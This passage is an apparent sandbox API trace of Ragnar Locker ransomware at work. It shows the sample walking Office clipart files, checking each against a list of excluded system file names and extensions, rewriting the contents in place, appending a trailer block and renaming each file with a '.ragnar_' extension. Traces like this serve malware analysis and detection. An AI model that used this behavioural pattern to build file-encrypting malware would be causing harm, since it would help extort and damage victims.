hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.720] VirtualAlloc (lpAddress=0x0, dwSize=0x318, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.721] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x318, lpOverlapped=0x0) returned 1 [0082.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.721] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x318, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.721] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x318, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x318, lpOverlapped=0x0) returned 1 [0082.721] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.721] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.721] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.721] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.722] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.722] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.722] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.722] GetProcessHeap () returned 0x580000 [0082.722] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.722] CloseHandle (hObject=0xf4) returned 1 [0082.722] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" [0082.722] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.ragnar_FD7BD9FC" [0082.722] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0082.723] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.723] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00177_.WMF" | out: lpString1="IN00177_.WMF") returned="IN00177_.WMF" [0082.723] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned=".WMF" [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="autorun.inf") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="boot.ini") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="bootfont.bin") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="bootsect.bak") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="bootmgr") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="bootmgr.efi") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="desktop.ini") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="iconcache.db") returned 1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="ntldr") returned -1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="ntuser.dat") returned -1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="ntuser.ini") returned -1 [0082.723] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="thumbs.db") returned -1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.723] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0082.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.724] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1074) returned 1 [0082.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x429, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.724] GetProcessHeap () returned 0x580000 [0082.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.724] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.725] VirtualAlloc (lpAddress=0x0, dwSize=0x432, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.725] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x432, lpOverlapped=0x0) returned 1 [0082.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x432, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.726] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x432, lpOverlapped=0x0) returned 1 [0082.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x432, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.726] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x432, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.726] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.726] GetProcessHeap () returned 0x580000 [0082.726] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.726] CloseHandle (hObject=0xf4) returned 1 [0082.726] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" [0082.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.ragnar_FD7BD9FC" [0082.727] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.727] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0082.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.727] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00204_.WMF" | out: lpString1="IN00204_.WMF") returned="IN00204_.WMF" [0082.727] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned=".WMF" [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="autorun.inf") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="boot.ini") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="bootfont.bin") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="bootsect.bak") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="bootmgr") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="bootmgr.efi") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="desktop.ini") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="iconcache.db") returned 1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="ntldr") returned -1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="ntuser.dat") returned -1 [0082.727] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.728] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="ntuser.ini") returned -1 [0082.728] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="thumbs.db") returned -1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.728] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0082.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.728] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1848) returned 1 [0082.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.728] GetProcessHeap () returned 0x580000 [0082.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.728] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.729] VirtualAlloc (lpAddress=0x0, dwSize=0x738, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.730] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x738, lpOverlapped=0x0) returned 1 [0082.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x738, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.730] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x738, lpOverlapped=0x0) returned 1 [0082.730] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x738, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.730] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x738, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.730] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.730] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.731] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.731] GetProcessHeap () returned 0x580000 [0082.731] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.731] CloseHandle (hObject=0xf4) returned 1 [0082.731] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" [0082.731] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.ragnar_FD7BD9FC" [0082.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.731] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0082.731] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.731] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00233_.WMF" | out: lpString1="IN00233_.WMF") returned="IN00233_.WMF" [0082.731] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned=".WMF" [0082.731] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.731] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="autorun.inf") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="boot.ini") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="bootfont.bin") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="bootsect.bak") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="bootmgr") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="bootmgr.efi") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="desktop.ini") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="iconcache.db") returned 1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="ntldr") returned -1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="ntuser.dat") returned -1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="ntuser.ini") returned -1 [0082.732] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="thumbs.db") returned -1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.732] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0082.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.733] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11190) returned 1 [0082.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.733] GetProcessHeap () returned 0x580000 [0082.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.733] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2bb6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.735] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2bb6, lpOverlapped=0x0) returned 